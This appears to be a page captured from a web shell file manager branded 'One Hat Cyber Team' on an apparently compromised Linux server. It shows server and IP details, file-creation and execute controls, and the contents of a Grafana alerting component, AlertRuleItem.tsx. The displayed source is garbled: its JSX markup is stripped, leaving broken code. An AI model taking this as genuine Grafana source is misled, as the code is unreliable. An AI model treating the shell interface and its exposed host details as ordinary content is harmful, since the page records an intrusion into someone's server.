⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.72
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
features
/
alerting
/
View File Name :
AlertRuleItem.tsx
import React, { useCallback } from 'react'; import Highlighter from 'react-highlight-words'; import { Icon, Button, LinkButton, Card } from '@grafana/ui'; import { AlertRule } from '../../types'; export interface Props { rule: AlertRule; search: string; onTogglePause: () => void; } const AlertRuleItem = ({ rule, search, onTogglePause }: Props) => { const ruleUrl = `${rule.url}?editPanel=${rule.panelId}&tab=alert`; const renderText = useCallback( (text: string) => (
), [search] ); return (
{renderText(rule.name)}
{renderText(rule.stateText)}{' '}
for {rule.stateAge}
{rule.info ? renderText(rule.info) : null}
{rule.state === 'paused' ? 'Resume' : 'Pause'}
Edit alert
); }; export default AlertRuleItem;